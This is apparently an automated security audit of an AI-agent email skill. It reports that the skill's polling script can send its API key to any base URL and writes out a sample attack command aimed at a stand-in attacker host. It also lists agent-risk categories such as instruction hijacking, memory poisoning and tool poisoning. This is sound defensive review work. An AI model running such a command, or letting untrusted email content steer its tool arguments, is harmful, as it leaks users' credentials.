Back to skill

Security audit

Thrd Skill

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its email-inbox purpose, but its polling script can be pointed at any server while sending your THRD API key.

Review before installing in environments with real THRD credentials. Use only the default https://api.thrd.email endpoint, do not let untrusted instructions or email content alter poll_daemon.py arguments, and prefer a pinned dependency lockfile before production use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/poll_daemon.py:43
Finding
Bearer API Key Can Be Exfiltrated Through an Unrestricted Base URL## Vulnerability Details **File Location**: `scripts/poll_daemon.py:43, 80-91` **Vulnerability Type**: Credential disclosure through an attacker-controlled API endpoint **Risk Level**: High **Vulnerable Code**: ```python parser.add_argument("--base-url", default="https://api.thrd.email") ... base_url = args.base_url.rstrip("/") cursor_path = Path(args.cursor_file) cursor = load_cursor(cursor_path) headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json", } print(f"Thrd poll daemon started (cursor={cursor}, file={cursor_path}).", file=sys.stderr) while True: try: resp = requests.get( f"{base_url}/v1/events", headers=headers, params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit}, timeout=(args.timeout_ms / 1000.0) + 10, ) ``` ### Technical Analysis The `--base-url` argument accepts an arbitrary URL without validating its scheme or hostname. The polling daemon reads the sensitive `THRD_API_KEY` environment variable and includes it as a bearer credential in requests sent to the supplied URL. Consequently, anyone who can influence the daemon's command-line arguments can redirect the authenticated request to an attacker-controlled endpoint. The option also accepts plaintext HTTP URLs, allowing the credential to be exposed through network interception. A configurable API endpoint is not required by the documented production workflow, which identifies `https://api.thrd.email` as the service endpoint. Sending a production credential to an unrestricted destination exceeds the minimum privilege and trust boundaries necessary for mailbox polling. ### Attack Path 1. An attacker influences an operator, automation configuration, or agent-generated command to invoke: ```bash python3 scripts/poll_daemon.py --base-url http://attacker.example ``` 2. The script reads `THRD_ ...[truncated 857 chars]
Remediation
## Remediation Suggestions 1. Remove `--base-url` from production builds and use the fixed endpoint `https://api.thrd.email`. 2. If endpoint configurability is necessary for testing, parse the URL and require: - The `https` scheme. - An exact allowlisted hostname. - No embedded username or password. - An expected or empty port. 3. Require a separate explicit development-only flag and development credential for non-production endpoints. 4. Refuse to send production bearer credentials to localhost, private networks, redirects to different origins, or unapproved hosts. 5. Disable cross-origin redirects for authenticated requests or validate every redirect target before forwarding the authorization header. 6. Add automated tests confirming that HTTP URLs and non-allowlisted hosts are rejected before any request is sent.

T08 · Insecure Dependencies

Warning
Location
requirements.txt:1
Finding
Open-Ended Dependency Version Permits Unreviewed Package Updates## Vulnerability Details **File Location**: `requirements.txt:1` **Vulnerability Type**: Non-reproducible and insufficiently pinned dependency installation **Risk Level**: Medium **Vulnerable Code**: ```text requests>=2.31.0 ``` The dependency is installed through the command declared in `SKILL.md:19`: ```yaml command: "pip install -r requirements.txt" ``` ### Technical Analysis The project permits any future version of `requests` at or above 2.31.0 and does not lock or hash its transitive dependencies. Installation results can therefore change over time without changes to the audited project. This is a supply-chain hardening deficiency: a newly released, compromised, or behaviorally incompatible direct or transitive dependency could be installed automatically without prior project review. The absence of hashes also means pip does not verify that downloaded artifacts match specifically reviewed package files. No malicious dependency or active compromise was identified in the audited files. The risk arises from allowing future unreviewed dependency resolution. ### Attack Path 1. A future permitted release of `requests` or one of its transitive dependencies becomes compromised. 2. A user installs the Skill with: ```bash pip install -r requirements.txt ``` 3. Pip resolves and downloads the newly available compromised version because the requirement has no upper or exact bound. 4. Malicious package behavior executes during installation or when the Skill imports the dependency. 5. The dependency runs with the privileges and environment access of the Skill process. ### Impact Assessment A compromised dependency could access the process environment, including `THRD_API_KEY`, inspect or modify local files available to the process, intercept API requests and responses, or execute arbitrary code under the installing or runtime user's account. The resulting privileges are limited by the operatin ...[truncated 120 chars]
Remediation
## Remediation Suggestions 1. Pin the direct dependency to an exact, reviewed version. 2. Generate a lock file containing exact versions of all transitive dependencies. 3. Record cryptographic hashes for every approved distribution and install with: ```bash pip install --require-hashes -r requirements.txt ``` 4. Use a controlled package index or repository mirror where practical. 5. Add automated dependency vulnerability and integrity scanning. 6. Review and deliberately update the lock file on a regular schedule rather than resolving unrestricted versions during installation.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (36)

Tainted flow: 'headers' from os.environ.get (line 16, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Content
payload = {"plan": plan}
    
    try:
        response = requests.post(url, json=payload, headers=headers, timeout=30)
        response.raise_for_status()
        data = response.json()
        print(json.dumps(data, indent=2))
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tainted flow: 'headers' from os.environ.get (line 78, credential/environment) → requests.get (network output)

Critical
Category
Data Flow
Content
while True:
        try:
            resp = requests.get(
                f"{base_url}/v1/events",
                headers=headers,
                params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit},
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tainted flow: 'headers' from os.environ.get (line 78, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Content
if on_events_cmd:
                    subprocess.run(on_events_cmd, shell=False, check=False)

                ack = requests.post(
                    f"{base_url}/v1/events/ack",
                    headers=headers,
                    json={"cursor": str(next_cursor)},
Confidence
90% confidence
Finding
Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The declared description centers on email inbox provisioning and safe email operations for an AI agent. However, this code chunk only performs a billing-related action: initiating self-service checkout for a plan. That is a materially different primary purpose and an undeclared capability relative to the description. While using THRD_API_KEY from the environment is consistent with the claim about not persisting API keys to disk, the core behavior shown here does not implement the advertised inbox/email-management features.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding
The code does not implement inbox provisioning, email polling, sending/replying, policy gating, proof-of-reasoning, human claiming, or trust/delivery tracking. Its actual purpose is developer/tooling support: synchronizing the THRD OpenAPI contract and caching it on disk. This is materially different from the declared end-user email-management functionality. Also, the description explicitly mentions not persisting API keys to disk, but this code's relevant disk behavior is caching API spec data and metadata; while not itself a security issue, it underscores that the code is about spec synchronization rather than mailbox operations.

Tool Parameter Abuse

High
Category
Tool Misuse
Content
Many LLM runtimes do not reliably maintain background polling. Use wake webhooks when possible:
- Configure webhook: `PUT /v1/wake/webhook`
- Read status: `GET /v1/wake/webhook`
- Disable webhook: `DELETE /v1/wake/webhook`

THRD sends signed `inbox.pending` pings, then your runtime should immediately pull with `GET /v1/events` and ACK.
Confidence
80% confidence
Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Lp3

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding
The skill declares executable installation and references scripts that imply network, shell, environment-variable, and file capabilities, but it does not constrain those capabilities with an explicit permissions or allowed-tools policy. In an agent setting, missing scope declarations increases the chance of overbroad execution, unintended file/network access, or misuse of secrets such as THRD_API_KEY.

Missing User Warnings

Medium
Confidence
83% confidence
Finding
This code sends a network request to an external billing checkout endpoint, which can affect account state and transmit plan selection plus authorization context. While the script validates inputs and reports errors, it does not provide a user-facing disclosure or confirmation before initiating the billing-related API call.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Static analysis

No suspicious patterns detected.